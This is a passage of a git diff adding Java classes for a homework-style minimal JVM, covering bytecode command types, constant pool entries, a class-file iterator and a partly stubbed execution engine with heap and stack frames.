+        ConstantInfo info = getConstantInfo(this.getOperand());
+
+        String value = "TBD";
+        if(info instanceof StringInfo){
+            StringInfo strInfo = (StringInfo)info;
+            value = strInfo.toString();
+        }
+
+        return this.getOffset()+":"+this.getOpCode()+" " + this.getReadableCodeText() + " "+  value;
+
+    }
+
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170430/jvm/cmd/NewObjectCmd.java b/group11/729245768/DataStructure/src/main/coding_170430/jvm/cmd/NewObjectCmd.java
new file mode 100644
index 0000000000..902253fe7c
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170430/jvm/cmd/NewObjectCmd.java
@@ -0,0 +1,19 @@
+package main.coding_170430.jvm.cmd;
+
+import main.coding_170430.jvm.clz.ClassFile;
+
+/**
+ * Created by peterchen on 2017/4/26.
+ */
+public class NewObjectCmd extends TwoOperandCmd {
+    public NewObjectCmd(ClassFile clzFile, String opCode){
+        super(clzFile,opCode);
+    }
+
+    @Override
+    public String toString() {
+
+        return super.getOperandAsClassInfo();
+    }
+
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170430/jvm/cmd/NoOperandCmd.java b/group11/729245768/DataStructure/src/main/coding_170430/jvm/cmd/NoOperandCmd.java
new file mode 100644
index 0000000000..1ce1e735bc
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170430/jvm/cmd/NoOperandCmd.java
@@ -0,0 +1,22 @@
+package main.coding_170430.jvm.cmd;
+
+import main.coding_170430.jvm.clz.ClassFile;
+
+/**
+ * Created by peterchen on 2017/4/26.
+ */
+public class NoOperandCmd extends ByteCodeCommand {
+    public NoOperandCmd(ClassFile clzFile, String opCode) {
+        super(clzFile, opCode);
+    }
+
+    @Override
+    public String toString() {
+        return this.getOffset()+":" +this.getOpCode() + " "+ this.getReadableCodeText();
+    }
+
+
+    public  int getLength(){
+        return 1;
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170430/jvm/cmd/OneOperandCmd.java b/group11/729245768/DataStructure/src/main/coding_170430/jvm/cmd/OneOperandCmd.java
new file mode 100644
index 0000000000..7905036bcc
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170430/jvm/cmd/OneOperandCmd.java
@@ -0,0 +1,27 @@
+package main.coding_170430.jvm.cmd;
+
+import main.coding_170430.jvm.clz.ClassFile;
+
+/**
+ * Created by peterchen on 2017/4/26.
+ */
+public class OneOperandCmd extends ByteCodeCommand {
+    private int operand;
+
+    public OneOperandCmd(ClassFile clzFile, String opCode) {
+        super(clzFile, opCode);
+
+    }
+    public  int getOperand() {
+
+        return this.operand;
+    }
+
+    public void setOperand(int oprand1) {
+        this.operand = oprand1;
+
+    }
+    public  int getLength(){
+        return 2;
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170430/jvm/cmd/PutFieldCmd.java b/group11/729245768/DataStructure/src/main/coding_170430/jvm/cmd/PutFieldCmd.java
new file mode 100644
index 0000000000..edd22d9504
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170430/jvm/cmd/PutFieldCmd.java
@@ -0,0 +1,19 @@
+package main.coding_170430.jvm.cmd;
+
+import main.coding_170430.jvm.clz.ClassFile;
+
+/**
+ * Created by peterchen on 2017/4/26.
+ */
+public class PutFieldCmd extends TwoOperandCmd {
+    public PutFieldCmd(ClassFile clzFile, String opCode) {
+        super(clzFile,opCode);
+    }
+
+    @Override
+    public String toString() {
+
+        return super.getOperandAsField();
+    }
+
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170430/jvm/cmd/TwoOperandCmd.java b/group11/729245768/DataStructure/src/main/coding_170430/jvm/cmd/TwoOperandCmd.java
new file mode 100644
index 0000000000..42efb560cb
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170430/jvm/cmd/TwoOperandCmd.java
@@ -0,0 +1,68 @@
+package main.coding_170430.jvm.cmd;
+
+import main.coding_170430.jvm.clz.ClassFile;
+import main.coding_170430.jvm.constant.ClassInfo;
+import main.coding_170430.jvm.constant.ConstantInfo;
+import main.coding_170430.jvm.constant.FieldRefInfo;
+import main.coding_170430.jvm.constant.MethodRefInfo;
+
+/**
+ * Created by peterchen on 2017/4/26.
+ */
+public class TwoOperandCmd extends ByteCodeCommand {
+    int oprand1 = -1;
+    int oprand2 = -1;
+
+    public int getOprand1() {
+        return oprand1;
+    }
+
+    public void setOprand1(int oprand1) {
+        this.oprand1 = oprand1;
+    }
+
+    public void setOprand2(int oprand2) {
+        this.oprand2 = oprand2;
+    }
+
+    public int getOprand2() {
+        return oprand2;
+    }
+
+    public TwoOperandCmd(ClassFile clzFile, String opCode) {
+        super(clzFile, opCode);
+    }
+
+    public int getIndex(){
+        int oprand1 = this.getOprand1();
+        int oprand2 = this.getOprand2();
+        int index = oprand1 << 8 | oprand2;
+        return index;
+    }
+
+    protected String getOperandAsClassInfo(){
+        int index = getIndex();
+        String codeTxt = getReadableCodeText();
+        ClassInfo info = (ClassInfo)getConstantInfo(index);
+        return this.getOffset()+":"+this.getOpCode()+" "+ codeTxt +"  "+ info.getClassName();
+    }
+
+    protected String getOperandAsMethod(){
+        int index = getIndex();
+        String codeTxt = getReadableCodeText();
+        ConstantInfo constInfo = this.getConstantInfo(index);
+        MethodRefInfo info = (MethodRefInfo)this.getConstantInfo(index);
+        return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
+    }
+
+    protected String getOperandAsField(){
+        int index = getIndex();
+
+        String codeTxt = getReadableCodeText();
+        FieldRefInfo info = (FieldRefInfo)this.getConstantInfo(index);
+        return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
+    }
+    public  int getLength(){
+        return 3;
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170430/jvm/constant/ClassInfo.java b/group11/729245768/DataStructure/src/main/coding_170430/jvm/constant/ClassInfo.java
new file mode 100644
index 0000000000..708c83e991
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170430/jvm/constant/ClassInfo.java
@@ -0,0 +1,32 @@
+package main.coding_170430.jvm.constant;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public class ClassInfo extends ConstantInfo {
+    private int type = ConstantInfo.CLASS_INFO;
+    private int utf8Index;
+
+    public ClassInfo(ConstantPool pool){
+        super(pool);
+    }
+
+    public int getUtf8Index(){
+        return utf8Index;
+    }
+
+    public void setUtf8Index(int utf8Index){
+        this.utf8Index = utf8Index;
+    }
+
+    @Override
+    public int getType() {
+        return type;
+    }
+
+    public String getClassName(){
+        int index = getUtf8Index();
+        UTF8Info utf8Info = (UTF8Info)constantPool.getConstantInfo(index);
+        return utf8Info.getValue();
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170430/jvm/constant/ConstantInfo.java b/group11/729245768/DataStructure/src/main/coding_170430/jvm/constant/ConstantInfo.java
new file mode 100644
index 0000000000..842a4e4901
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170430/jvm/constant/ConstantInfo.java
@@ -0,0 +1,33 @@
+package main.coding_170430.jvm.constant;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public abstract class ConstantInfo {
+    public static final int UTF8_INFO = 1;
+    public static final int FLOAT_INFO = 4;
+    public static final int CLASS_INFO = 7;
+    public static final int STRING_INFO = 8;
+    public static final int FIELD_INFO = 9;
+    public static final int METHOD_INFO = 10;
+    public static final int NAME_AND_TYPE_INFO = 12;
+    protected ConstantPool constantPool;
+
+    public ConstantInfo() {
+
+    }
+
+    public ConstantInfo(ConstantPool pool) {
+        this.constantPool = pool;
+    }
+
+    public abstract int getType();
+
+    public ConstantPool getConstantPool() {
+        return constantPool;
+    }
+
+    public ConstantInfo getConstantInfo(int index) {
+        return this.constantPool.getConstantInfo(index);
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170430/jvm/constant/ConstantPool.java b/group11/729245768/DataStructure/src/main/coding_170430/jvm/constant/ConstantPool.java
new file mode 100644
index 0000000000..ec965ecc2e
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170430/jvm/constant/ConstantPool.java
@@ -0,0 +1,26 @@
+package main.coding_170430.jvm.constant;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public class ConstantPool {
+    private List<ConstantInfo> constantInfos = new ArrayList<>();
+
+    public ConstantPool(){}
+
+    public void addConstantInfo(ConstantInfo constantInfo){
+        this.constantInfos.add(constantInfo);
+    }
+    public ConstantInfo getConstantInfo(int index){
+        return  this.constantInfos.get(index);
+    }
+    public String getUTF8String(int index){
+        return ((UTF8Info)this.constantInfos.get(index)).getValue();
+    }
+    public int getSizes(){
+        return this.constantInfos.size()-1;
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170430/jvm/constant/FieldRefInfo.java b/group11/729245768/DataStructure/src/main/coding_170430/jvm/constant/FieldRefInfo.java
new file mode 100644
index 0000000000..8c970d95da
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170430/jvm/constant/FieldRefInfo.java
@@ -0,0 +1,57 @@
+package main.coding_170430.jvm.constant;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public class FieldRefInfo extends ConstantInfo {
+    private int type = ConstantInfo.FIELD_INFO;
+    private int classInfoIndex;
+    private int nameAndTypeIndex;
+
+    public FieldRefInfo(ConstantPool pool) {
+        super(pool);
+    }
+
+    public void setClassInfoIndex(int classInfoIndex) {
+        this.classInfoIndex = classInfoIndex;
+    }
+
+    public void setNameAndTypeIndex(int nameAndTypeIndex) {
+        this.nameAndTypeIndex = nameAndTypeIndex;
+    }
+
+    public int getClassInfoIndex() {
+        return classInfoIndex;
+    }
+
+    public int getNameAndTypeIndex() {
+        return nameAndTypeIndex;
+    }
+
+    @Override
+    public String toString() {
+        NameAndTypeInfo typeInfo = (NameAndTypeInfo) this.getConstantInfo(this.getNameAndTypeIndex());
+        return getClassName() + ":" + typeInfo.getName() + ":" + typeInfo.getTypeInfo();
+    }
+
+    public String getClassName() {
+        ClassInfo classInfo = (ClassInfo) this.getConstantInfo(this.getClassInfoIndex());
+        UTF8Info utf8Info = (UTF8Info) this.getConstantInfo(classInfo.getUtf8Index());
+        return utf8Info.getValue();
+    }
+
+    public String getFieldName() {
+        NameAndTypeInfo typeInfo = (NameAndTypeInfo) this.getConstantInfo(this.getNameAndTypeIndex());
+        return typeInfo.getName();
+    }
+
+    public String getFieldType() {
+        NameAndTypeInfo typeInfo = (NameAndTypeInfo) this.getConstantInfo(this.getNameAndTypeIndex());
+        return typeInfo.getTypeInfo();
+    }
+
+    @Override
+    public int getType() {
+        return type;
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170430/jvm/constant/MethodRefInfo.java b/group11/729245768/DataStructure/src/main/coding_170430/jvm/constant/MethodRefInfo.java
new file mode 100644
index 0000000000..faf2d2d289
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170430/jvm/constant/MethodRefInfo.java
@@ -0,0 +1,59 @@
+package main.coding_170430.jvm.constant;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public class MethodRefInfo extends ConstantInfo {
+    private int type = ConstantInfo.METHOD_INFO;
+
+    private int classInfoIndex ;
+    private int nameAndTypeIndex;
+
+    public MethodRefInfo(ConstantPool pool){
+        super(pool);
+    }
+
+    public int getClassInfoIndex() {
+        return classInfoIndex;
+    }
+
+    public void setClassInfoIndex(int classInfoIndex) {
+        this.classInfoIndex = classInfoIndex;
+    }
+
+    public int getNameAndTypeIndex() {
+        return nameAndTypeIndex;
+    }
+
+    public void setNameAndTypeIndex(int nameAndTypeIndex) {
+        this.nameAndTypeIndex = nameAndTypeIndex;
+    }
+
+    @Override
+    public String toString() {
+        return getClassName()+":"+this.getMethodName()+":"+this.getParamAndReturnType();
+    }
+
+    public String getClassName(){
+        ConstantPool pool = this.getConstantPool();
+        ClassInfo clzInfo =(ClassInfo) pool.getConstantInfo(this.getClassInfoIndex());
+        return clzInfo.getClassName();
+    }
+
+    public String getMethodName(){
+        ConstantPool pool = this.getConstantPool();
+        NameAndTypeInfo typeInfo = (NameAndTypeInfo) pool.getConstantInfo(this.getNameAndTypeIndex());
+        return typeInfo.getName();
+    }
+
+    public String getParamAndReturnType(){
+        ConstantPool pool = this.getConstantPool();
+        NameAndTypeInfo typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
+        return  typeInfo.getTypeInfo();
+    }
+
+    @Override
+    public int getType() {
+        return type;
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170430/jvm/constant/NameAndTypeInfo.java b/group11/729245768/DataStructure/src/main/coding_170430/jvm/constant/NameAndTypeInfo.java
new file mode 100644
index 0000000000..11d4530770
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170430/jvm/constant/NameAndTypeInfo.java
@@ -0,0 +1,53 @@
+package main.coding_170430.jvm.constant;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public class NameAndTypeInfo extends ConstantInfo {
+    public int type = ConstantInfo.NAME_AND_TYPE_INFO;
+
+    private int indexA;
+    private int indexB;
+
+    public NameAndTypeInfo(ConstantPool pool){
+        super(pool);
+    }
+
+    public int getIndexA() {
+        return indexA;
+    }
+
+    public int getIndexB() {
+        return indexB;
+    }
+
+    public void setIndexA(int indexA) {
+        this.indexA = indexA;
+    }
+
+    public void setIndexB(int indexB) {
+        this.indexB = indexB;
+    }
+
+    public String getName(){
+        ConstantPool pool = this.getConstantPool();
+        UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(indexA);
+        return utf8Info.getValue();
+    }
+
+    public String getTypeInfo(){
+        ConstantPool pool = this.getConstantPool();
+        UTF8Info utf8_info =(UTF8Info) pool.getConstantInfo(indexB);
+        return utf8_info.getValue();
+    }
+
+    @Override
+    public String toString() {
+        return "("+getName()+","+getTypeInfo()+")";
+    }
+
+    @Override
+    public int getType() {
+        return type;
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170430/jvm/constant/NullConstantInfo.java b/group11/729245768/DataStructure/src/main/coding_170430/jvm/constant/NullConstantInfo.java
new file mode 100644
index 0000000000..c8d73b5213
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170430/jvm/constant/NullConstantInfo.java
@@ -0,0 +1,16 @@
+package main.coding_170430.jvm.constant;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public class NullConstantInfo extends ConstantInfo {
+
+    public NullConstantInfo() {
+
+    }
+
+    @Override
+    public int getType() {
+        return -1;
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170430/jvm/constant/StringInfo.java b/group11/729245768/DataStructure/src/main/coding_170430/jvm/constant/StringInfo.java
new file mode 100644
index 0000000000..e21a1cfcc3
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170430/jvm/constant/StringInfo.java
@@ -0,0 +1,31 @@
+package main.coding_170430.jvm.constant;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public class StringInfo extends ConstantInfo {
+    private int type = ConstantInfo.STRING_INFO;
+    private int index;
+
+    public StringInfo(ConstantPool pool) {
+        super(pool);
+    }
+
+    public int getIndex() {
+        return index;
+    }
+
+    public void setIndex(int index) {
+        this.index = index;
+    }
+
+    @Override
+    public String toString() {
+        return this.getConstantPool().getUTF8String(index);
+    }
+
+    @Override
+    public int getType() {
+        return type;
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170430/jvm/constant/UTF8Info.java b/group11/729245768/DataStructure/src/main/coding_170430/jvm/constant/UTF8Info.java
new file mode 100644
index 0000000000..6d83893eda
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170430/jvm/constant/UTF8Info.java
@@ -0,0 +1,40 @@
+package main.coding_170430.jvm.constant;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public class UTF8Info extends ConstantInfo {
+    private int type = ConstantInfo.UTF8_INFO;
+    private int length;
+    private String value;
+
+    public UTF8Info(ConstantPool pool) {
+        super(pool);
+    }
+
+    public int getLength() {
+        return length;
+    }
+
+    public void setLength(int length) {
+        this.length = length;
+    }
+
+    public String getValue() {
+        return value;
+    }
+
+    public void setValue(String value) {
+        this.value = value;
+    }
+
+    @Override
+    public String toString() {
+        return "UTF8Info [type=" + type + ", length=" + length + ", value=" + value + "]";
+    }
+
+    @Override
+    public int getType() {
+        return type;
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170430/jvm/engine/ExecutionResult.java b/group11/729245768/DataStructure/src/main/coding_170430/jvm/engine/ExecutionResult.java
new file mode 100644
index 0000000000..199452fc8a
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170430/jvm/engine/ExecutionResult.java
@@ -0,0 +1,46 @@
+package main.coding_170430.jvm.engine;
+
+import main.coding_170430.jvm.method.Method;
+
+/**
+ * Created by peterchen on 2017/5/5.
+ */
+public class ExecutionResult {
+    private static final int RUN_NEXT_CMD = 1;
+    private static final int JUMP = 2;
+    private static final int EXIT_CURRENT_FRAME = 3;
+    private static final int PAUSE_AND_RUN_NEW_FRAME = 4;
+
+    private int nextAction = RUN_NEXT_CMD;
+    private int nextCmdOffset = 0;
+    private Method nextMethod;
+
+    public Method getNextMethod(){
+        return nextMethod;
+    }
+    public void setNextMethod(Method method){
+        this.nextMethod = nextMethod;
+    }
+    public void setNextAction(int action){
+        this.nextAction = action;
+    }
+    public boolean isPauseAndRunNewFrame(){
+        return this.nextAction==PAUSE_AND_RUN_NEW_FRAME;
+    }
+    public boolean isExitCurrentFrame(){
+        return this.nextAction == EXIT_CURRENT_FRAME;
+    }
+    public boolean isRunNextCmd(){
+        return this.nextAction == RUN_NEXT_CMD;
+    }
+    public boolean isJump(){
+        return this.nextAction == JUMP;
+    }
+    public int getNextCmdOffset(){
+        return nextCmdOffset;
+    }
+    public void setNextCmdOffset(int nextCmdOffset){
+        this.nextCmdOffset = nextCmdOffset;
+    }
+}
+
diff --git a/group11/729245768/DataStructure/src/main/coding_170430/jvm/engine/ExecutorEngine.java b/group11/729245768/DataStructure/src/main/coding_170430/jvm/engine/ExecutorEngine.java
new file mode 100644
index 0000000000..b59825da4d
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170430/jvm/engine/ExecutorEngine.java
@@ -0,0 +1,20 @@
+package main.coding_170430.jvm.engine;
+
+import main.coding_170430.jvm.method.Method;
+
+import java.util.Stack;
+
+/**
+ * Created by peterchen on 2017/5/5.
+ */
+public class ExecutorEngine {
+    private Stack<StackFrame> stack = new Stack<>();
+    public ExecutorEngine(){
+
+    }
+    public void execute(Method mainMethod){
+    }
+    private void setupFunctionCallParams(StackFrame currentFrame,StackFrame nextFrame){
+
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170430/jvm/engine/Heap.java b/group11/729245768/DataStructure/src/main/coding_170430/jvm/engine/Heap.java
new file mode 100644
index 0000000000..bcfb809b36
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170430/jvm/engine/Heap.java
@@ -0,0 +1,34 @@
+package main.coding_170430.jvm.engine;
+
+/**
+ * Created by peterchen on 2017/5/5.
+ */
+public class Heap {
+    private static Heap instance = new Heap();
+    private Heap(){
+    }
+    public static Heap getInstance(){
+        return instance;
+    }
+    public JavaObject newObject(String clzName){
+        JavaObject jo = new JavaObject(JavaObject.OBJECT);
+        jo.setClassName(clzName);
+        return jo;
+     }
+     public JavaObject newString(String value){
+        JavaObject jo = new JavaObject(JavaObject.STRING);
+        jo.setClassName(value);
+        return jo;
+     }
+
+     public JavaObject newFloat(float value){
+         JavaObject jo = new JavaObject(JavaObject.FLOAT);
+         jo.setFloatValue(value);
+         return jo;
+     }
+     public JavaObject newInt(int value){
+         JavaObject jo = new JavaObject(JavaObject.INT);
+         jo.setIntValue(value);
+         return jo;
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170430/jvm/engine/JavaObject.java b/group11/729245768/DataStructure/src/main/coding_170430/jvm/engine/JavaObject.java
new file mode 100644
index 0000000000..4fab5af177
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170430/jvm/engine/JavaObject.java
@@ -0,0 +1,70 @@
+package main.coding_170430.jvm.engine;
+
+import java.util.HashMap;
+import java.util.Map;
+
+/**
+ * Created by peterchen on 2017/5/5.
+ */
+public class JavaObject {
+    public static final int OBJECT = 1;
+    public static final int STRING = 2;
+    public static final int INT = 3;
+    public static final int FLOAT = 4;
+
+    int type;
+    private String className;
+    private Map<String,JavaObject> fieldValues = new HashMap<>();
+
+    private String stringValue;
+    private int intValue;
+    private float floatValue;
+
+    public void setFieldValues(String fieldName,JavaObject fieldValue){
+        fieldValues.put(fieldName,fieldValue);
+    }
+    public JavaObject(int type){
+        this.type = type;
+    }
+    public void setClassName(String className){
+        this.className = className;
+    }
+    public void setStringValue(String value){
+        stringValue = value;
+    }
+
+    public String getStringValue(){
+        return this.stringValue;
+    }
+    public void setIntValue(int value) {
+        this.intValue = value;
+    }
+    public int getIntValue(){
+        return this.intValue;
+    }
+    public int getType(){
+        return type;
+    }
+    public JavaObject getFieldValue(String fieldName){
+        return this.fieldValues.get(fieldName);
+    }
+    public String toString(){
+        switch (this.getType()){
+            case INT:
+                return String.valueOf(this.getType());
+            case STRING:
+                return this.stringValue;
+            case OBJECT:
+                return this.className+":"+this.fieldValues;
+            case FLOAT:
+                return String.valueOf(this.floatValue);
+                default:return null;
+        }
+    }
+    public String getClassName(){
+        return this.className;
+    }
+    public void setFloatValue(float value){
+        this.floatValue = value;
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170430/jvm/engine/MethodArea.java b/group11/729245768/DataStructure/src/main/coding_170430/jvm/engine/MethodArea.java
new file mode 100644
index 0000000000..5b76c3cecb
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170430/jvm/engine/MethodArea.java
@@ -0,0 +1,52 @@
+package main.coding_170430.jvm.engine;
+
+import main.coding_170430.jvm.clz.ClassFile;
+import main.coding_170430.jvm.constant.MethodRefInfo;
+import main.coding_170430.jvm.loader.ClassFileLoader;
+import main.coding_170430.jvm.method.Method;
+
+import java.util.HashMap;
+import java.util.Map;
+
+/**
+ * Created by peterchen on 2017/5/5.
+ */
+public class MethodArea {
+    public static final MethodArea instance = new MethodArea();
+
+    private ClassFileLoader clzLoader = null;
+    Map<String, ClassFile> map = new HashMap<>();
+
+    private MethodArea() {
+    }
+
+    public static MethodArea getInstance() {
+        return instance;
+    }
+
+    public void setClassFileLoader(ClassFileLoader clzLoader) {
+        this.clzLoader = clzLoader;
+    }
+
+    public Method getMainMethod(String className) {
+        ClassFile clzFile = findClassFile(className);
+        return clzFile.getMainMethod();
+    }
+
+    public ClassFile findClassFile(String className) {
+        if (map.get(className) != null) {
+            return map.get(className);
+        }
+        ClassFile classFile = clzLoader.loadClass(className);
+        map.put(className, classFile);
+        return classFile;
+    }
+
+    public Method getMethod(String className, String methodName, String paramANDrETURNtYPE) {
+        return null;
+    }
+
+    public Method getMethod(MethodRefInfo methodRefInfo) {
+        return null;
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170430/jvm/engine/MinJVM.java b/group11/729245768/DataStructure/src/main/coding_170430/jvm/engine/MinJVM.java
new file mode 100644
index 0000000000..813264c5c4
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170430/jvm/engine/MinJVM.java
@@ -0,0 +1,20 @@
+package main.coding_170430.jvm.engine;
+
+import main.coding_170430.jvm.loader.ClassFileLoader;
+
+/**
+ * Created by peterchen on 2017/5/5.
+ */
+public class MinJVM {
+    public void run(String[] classPaths,String className){
+        ClassFileLoader loader = new ClassFileLoader();
+        for(int i=0;i<classPaths.length;i++){
+            loader.addClassPath(classPaths[i]);
+        }
+        MethodArea methodArea = MethodArea.getInstance();
+        methodArea.setClassFileLoader(loader);
+        ExecutorEngine engine = new ExecutorEngine();
+        className = className.replace(".","/");
+        engine.execute(methodArea.getMainMethod(className));
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170430/jvm/engine/StackFrame.java b/group11/729245768/DataStructure/src/main/coding_170430/jvm/engine/StackFrame.java
new file mode 100644
index 0000000000..ec964cd0bd
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170430/jvm/engine/StackFrame.java
@@ -0,0 +1,66 @@
+package main.coding_170430.jvm.engine;
+
+import main.coding_170430.jvm.cmd.ByteCodeCommand;
+import main.coding_170430.jvm.method.Method;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Stack;
+
+/**
+ * Created by peterchen on 2017/5/5.
+ */
+public class StackFrame {
+    private List<JavaObject> localVariableTable = new ArrayList<>();
+    private Stack<JavaObject> operatorStack = new Stack<>();
+
+    int index = 0;
+    private Method m = null;
+    private StackFrame callerFrame = null;
+
+    public StackFrame getCallerFrame(){
+        return callerFrame;
+    }
+    public void setCallerFrame(StackFrame callerFrame){
+        this.callerFrame = callerFrame;
+    }
+    public static StackFrame create(Method m){
+        StackFrame frame = new StackFrame(m);
+        return frame;
+    }
+    private StackFrame(Method m){
+        this.m = m;
+    }
+    public JavaObject getLocalVariableValue(int index){
+        return this.localVariableTable.get(index);
+    }
+    public Stack<JavaObject> getOperatorStack(){
+        return this.operatorStack;
+    }
+    public int getNextCommandIndex(int offset){
+        ByteCodeCommand[] cmds = m.getCodeAttr().getCmds();
+        for (int i=0;i<cmds.length;i++){
+            if(cmds[i].getOffset()==offset){
+                return i;
+            }
+        }
+        throw new RuntimeException("can't find next command");
+    }
+    public ExecutionResult execute(){
+        return null;
+    }
+    public void setLocalVariableTable(List<JavaObject> values){
+        this.localVariableTable = values;
+    }
+    public void setLocalVariableValue(int index,JavaObject jo){
+        if(localVariableTable.size()-1<index){
+            for(int i=this.localVariableTable.size();i<=index;i++){
+                this.localVariableTable.add(null);
+            }
+            this.localVariableTable.set(index,jo);
+        }
+    }
+    public Method getMethod(){
+        return m;
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170430/jvm/field/Field.java b/group11/729245768/DataStructure/src/main/coding_170430/jvm/field/Field.java
new file mode 100644
index 0000000000..d5f642862e
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170430/jvm/field/Field.java
@@ -0,0 +1,44 @@
+package main.coding_170430.jvm.field;
+
+import main.coding_170430.jvm.constant.ConstantPool;
+import main.coding_170430.jvm.constant.UTF8Info;
+import main.coding_170430.jvm.loader.ByteCodeIterator;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public class Field {
+    private int accessFlag;
+    private int nameIndex;
+    private int descriptionIndex;
+
+    private ConstantPool pool;
+
+    public Field(int accessFlag,int nameIndex,int descriptionIndex,ConstantPool pool){
+        this.accessFlag = accessFlag;
+        this.nameIndex = nameIndex;
+        this.descriptionIndex = descriptionIndex;
+        this.pool = pool;
+    }
+
+    @Override
+    public String toString() {
+        String name = ((UTF8Info)pool.getConstantInfo(this.nameIndex)).getValue();
+
+        String desc = ((UTF8Info)pool.getConstantInfo(this.descriptionIndex)).getValue();
+        return name+":"+desc;
+    }
+
+    public static Field parse(ConstantPool pool, ByteCodeIterator iterator){
+        int accessFlag = iterator.nextU2ToInt();
+        int nameIndex = iterator.nextU2ToInt();
+        int descIndex = iterator.nextU2ToInt();
+        int attributeCount = iterator.nextU2ToInt();
+        Field f = new Field(accessFlag,nameIndex,descIndex,pool);
+
+        if(attributeCount>0){
+            throw  new RuntimeException("Field attribute has not implemented");
+        }
+        return f;
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170430/jvm/loader/ByteCodeIterator.java b/group11/729245768/DataStructure/src/main/coding_170430/jvm/loader/ByteCodeIterator.java
new file mode 100644
index 0000000000..53cce63392
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170430/jvm/loader/ByteCodeIterator.java
@@ -0,0 +1,54 @@
+package main.coding_170430.jvm.loader;
+
+import main.coding_170430.jvm.util.Util;
+
+import java.util.Arrays;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public class ByteCodeIterator {
+    byte[] codes;
+    int pos = 0;
+
+    public  ByteCodeIterator(byte[] codes){
+        this.codes = codes;
+    }
+    public byte[] getBytes(int len){
+        if(pos+len>=codes.length){
+            throw new ArrayIndexOutOfBoundsException();
+        }
+        byte[] data = Arrays.copyOfRange(codes,pos,pos+len);
+        pos+=len;
+        return data;
+    }
+
+    public int nextU1ToInt(){
+        return Util.byteToInt(new byte[]{codes[pos++]});
+    }
+
+    public int nextU2ToInt(){
+        return Util.byteToInt(new byte[]{codes[pos++],codes[pos++]});
+    }
+
+    public int nextU4ToInt(){
+        return Util.byteToInt(new byte[]{codes[pos++],codes[pos++],codes[pos++],codes[pos++]});
+    }
+
+    public String nextU4ToHexString(){
+        return Util.byteToHexString(new byte[]{codes[pos++],codes[pos++],codes[pos]++,codes[pos++]});
+    }
+
+    public String nextUxToHexString(int len){
+        byte[] temp = new byte[len];
+
+        for(int i=0;i<len;i++){
+            temp[i] = codes[pos++];
+        }
+        return Util.byteToHexString(temp).toLowerCase();
+    }
+
+    public void back(int n){
+        this.pos-=n;
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170430/jvm/loader/ClassFileLoader.java b/group11/729245768/DataStructure/src/main/coding_170430/jvm/loader/ClassFileLoader.java
new file mode 100644
index 0000000000..6fdc1987aa
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170430/jvm/loader/ClassFileLoader.java
@@ -0,0 +1,91 @@
+package main.coding_170430.jvm.loader;
+
+import main.coding_170430.jvm.clz.ClassFile;
+import org.apache.commons.io.IOUtils;
+import org.apache.commons.lang3.StringUtils;
+
+import java.io.*;
